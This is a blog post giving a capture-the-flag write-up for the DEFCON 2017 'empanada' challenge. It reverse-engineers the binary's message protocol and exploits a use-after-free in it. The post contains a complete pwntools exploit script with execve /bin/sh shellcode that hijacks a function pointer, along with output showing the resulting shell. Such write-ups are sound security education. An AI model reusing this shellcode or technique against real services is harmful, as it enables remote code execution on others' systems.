20170429_DEFCON Writeup (empanada)

20170429_DEFCON Writeup (empanada)

I was solved this challenge after DEFCON. It difficult for me and note solution for reminder.

 

This program may be string stored program, so client send the header, command and data, it stores this.

And it can also print data, combine data and remove data.

 

At first, check file, this program is set NX-bit only.

$ checksec empanada
[*] ‘/mnt/hgfs/VM-Share/20170429_DEFCON/empanada’
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

 

Then I try to disassemble by IDA Pro. There are 2 functions in main function, empDcdPmsg and  empDcdPmsgCmd

 

 

After some investigation, I find that this algorithmmay be as below.

# command, client can set command to process data
RM_ALL_MSG = 0x00         # remove all data
STORE_MSG = 0x10          # stored data
GET_HSUM = 0x20           # calculate sum
GET_MSG = 0x30            # print data
GET_MSG_COUNT = 0x40      # print number of message
RM_MSG = 0x50             # remove data
GET_ALL = 0x60            # print combined all stored data
CLEAR_INVALID_MSG = 0xfe  # remove invalid data (may calculate by paticuler function: empCliHsum,empSrvHsum)
# mtype, if IS_CMD set, empDcdPmsgCmd will be run.
IS_CMD = 0x1
IS_NOT_CMD = 0x0
# client can set midx to post continued command. If midx is i, I can send another command consequently.
def send_cmd(cmd, mtype, midx, msize, payload):
    assert ((mtype >= 0) & (mtype <= 1))
    assert ((msize >= 0) & (msize <= 31))
    assert ((midx >= 0) & (midx <= 3))
    header = 0
    header |= (mtype << 7)
    header |= (midx << 5)
    header |= msize+1
    log.info(“header => “+bin(header)+”(“+hex(header)+”), cmd=> “+hex(cmd) +”, payload => ‘”+payload+”‘”)
    s.send(chr(header))
    s.send(chr(cmd)+payload)
    l = s.recv(timeout=1)
    print l

 

First, I send the 2 message, and run gdb. This program stores data to mmaped area(0x31337000-).

And this pointer is stored in g_empList(0x08050174).

 

# send 2-data to server
data =”b”*16
send_cmd(STORE_MSG, IS_CMD,1,len(data),data)
data =”b”*15
send_cmd(STORE_MSG, IS_NOT_CMD,0,len(data),data)
 
# send 2-data to server
data =”b”*10
send_cmd(STORE_MSG, IS_CMD,1,len(data),data)
data =”b”*15
send_cmd(STORE_MSG, IS_NOT_CMD,0,len(data),data)

 

This gdb output is as below. In 1 chunk, there are some data, chunk_used, next_chunk_pointer, cmd, msize, mtype, data, pointer to empCliHsum,empSrvHsum, and next_data_pointer.

So I think exploit method that I overwrite pointer of empCliHsum,empSrvHsum to shellcode somehow, and execute it.

 

 

After some tries, I find that I over write the pointer when I send GET_ALL command. If send GET_ALL command, it combines all data and stores mmaped area.

So if combined data is small enough to store in Use-After Freed chunk, I can execute shellcode.

 

How do I make Use-After Freed chunk? Then I continue to investigate, I find that I make it when send 2-data then execute CLEAR_INVALID_MSG command.

(I can’t find out why finally… If find, please tell me.)

 

This is output after executing CLEAR_INVALID_MSG. 2nd data is freed.

If execute below command. I can get RIP.
———–
data =”b”*16
send_cmd(STORE_MSG, IS_CMD,1,len(data),data)
data =”b”*15
send_cmd(STORE_MSG, IS_NOT_CMD,0,len(data),data)
data =”b”*10
send_cmd(STORE_MSG, IS_CMD,1,len(data),data)
data =”b”*15
send_cmd(STORE_MSG, IS_NOT_CMD,0,len(data),data)
data = “”
send_cmd(CLEAR_INVALID_MSG, IS_CMD,0,len(data),data)
data =”x”*15
send_cmd(STORE_MSG, IS_CMD,0,len(data),data)
data =”z”*15
send_cmd(STORE_MSG, IS_CMD,0,len(data),data)
data = “”
send_cmd(GET_ALL, IS_CMD,0,len(data),data)
———–
$ python solve_empanada.py
[+] Opening connection to 127.0.0.1 on port 1337: Done
[*] header => 0b10110001(0xb1), cmd=> 0x10, payload => ‘bbbbbbbbbbbbbbbb’
[*] header => 0b10000(0x10), cmd=> 0x10, payload => ‘bbbbbbbbbbbbbbb’
_[StoreMessage] => Return: SucceBs
[*] header => 0b10101011(0xab), cmd=> 0x10, payload => ‘bbbbbbbbbb’
[*] header => 0b10000(0x10), cmd=> 0x10, payload => ‘bbbbbbbbbbbbbbb’
_[StoreMessage] => Return: SucceBs
[*] header => 0b10000001(0x81), cmd=> 0xfe, payload => ”                    <- free both 2nd chunk
;[ClearInvalid] => Return: 2
[*] header => 0b10010000(0x90), cmd=> 0x10, payload => ‘xxxxxxxxxxxxxxx’     <- stored freed chunk
_[StoreMessage] => Return: SucceBs
[*] header => 0b10010000(0x90), cmd=> 0x10, payload => ‘zzzzzzzzzzzzzzz’     <- stored freed chunk
_[StoreMessage] => Return: SucceBs
[*] header => 0b10000001(0x81), cmd=> 0x60, payload => ”
\x00\x10bbbbbbbbbbbbbbbbxxxxxxxxxxxxxxx\x10bbbbbbbbbbzzzzzzzzzzzzzzzxxxxxxxxxxxxxxxzzzzzzzzzzzzzzz <-Use After Free(marked)

 

Finally, I can execute script, I can get flag.

 

from pwn import *
# command
RM_ALL_MSG = 0x00
STORE_MSG = 0x10
GET_HSUM = 0x20
GET_MSG = 0x30
GET_MSG_COUNT = 0x40
RM_MSG = 0x50
GET_ALL = 0x60
CLEAR_INVALID_MSG = 0xfe
# mtype
IS_CMD = 0x1
IS_NOT_CMD = 0x0
s = remote(‘127.0.0.1’, 1337)
raw_input()
def send_cmd(cmd, mtype, midx, msize,payload):
    assert ((mtype >= 0) & (mtype <= 1))
    assert ((msize >= 0) & (msize <= 31))
    assert ((midx >= 0) & (midx <= 3))
    header = 0
    header |= (mtype << 7)
    header |= (midx << 5)
    header |= msize+1
    log.info(“header => “+bin(header)+”(“+hex(header)+”), cmd=> “+hex(cmd) +”, payload => ‘”+payload+”‘”)
    s.send(chr(header))
    s.send(chr(cmd)+payload)
    l = s.recv(timeout=1)
    print l
# store shellcode
data =”\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80″
send_cmd(STORE_MSG, IS_CMD,1,len(data),data)
data =”a”*15
send_cmd(STORE_MSG, IS_NOT_CMD,0,len(data),data)
data =”b”*16
send_cmd(STORE_MSG, IS_CMD,1,len(data),data)
data =”b”*15
send_cmd(STORE_MSG, IS_NOT_CMD,0,len(data),data)
data =”1″*17+p32(0x33701010)
send_cmd(STORE_MSG, IS_CMD,0,len(data),data)
data = “”
send_cmd(CLEAR_INVALID_MSG, IS_CMD,0,len(data),data)
data =”x”*15
send_cmd(STORE_MSG, IS_CMD,0,len(data),data)
data =”z”*15
send_cmd(STORE_MSG, IS_CMD,0,len(data),data)
data = “”
send_cmd(RM_MSG, IS_CMD,0,len(data),data)
data = “”
send_cmd(RM_MSG, IS_CMD,0,len(data),data)
data = “”
send_cmd(GET_ALL, IS_CMD,0,len(data),data)
data = “”
send_cmd(CLEAR_INVALID_MSG, IS_CMD,0,len(data),data)
s.interactive()
”’
$ python solve_empanada.py
[+] Opening connection to 127.0.0.1 on port 1337: Done
[*] header => 0b10111010(0xba), cmd=> 0x10, payload => ‘1�Ph//shh/bin\x89�PS\x89���\xb0\x0b̀’
[*] header => 0b10000(0x10), cmd=> 0x10, payload => ‘aaaaaaaaaaaaaaa’
_[StoreMessage] => Return: SucceBs
[*] header => 0b10110001(0xb1), cmd=> 0x10, payload => ‘bbbbbbbbbbbbbbbb’
[*] header => 0b10000(0x10), cmd=> 0x10, payload => ‘bbbbbbbbbbbbbbb’
_[StoreMessage] => Return: SucceBs
[*] header => 0b10010110(0x96), cmd=> 0x10, payload => ‘11111111111111111\x10\x10p3’
_[StoreMessage] => Return: SucceBs
[*] header => 0b10000001(0x81), cmd=> 0xfe, payload => ”
;[ClearInvalid] => Return: 2
[*] header => 0b10010000(0x90), cmd=> 0x10, payload => ‘xxxxxxxxxxxxxxx’
_[StoreMessage] => Return: SucceBs
[*] header => 0b10010000(0x90), cmd=> 0x10, payload => ‘zzzzzzzzzzzzzzz’
_[StoreMessage] => Return: SucceBs
[*] header => 0b10000001(0x81), cmd=> 0x50, payload => ”
_[DeleteMessage] => Return: SuccCss
[*] header => 0b10000001(0x81), cmd=> 0x50, payload => ”
_
[*] header => 0b10000001(0x81), cmd=> 0x60, payload => ”
[DeleteMessage] => Return: SuccCss
[*] header => 0b10000001(0x81), cmd=> 0xfe, payload => ”
\x0011111111111111111\x10\x10p311111111111111\x10\x10p31
[*] Switching to interactive mode
$
$
$ ls
flag

 

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s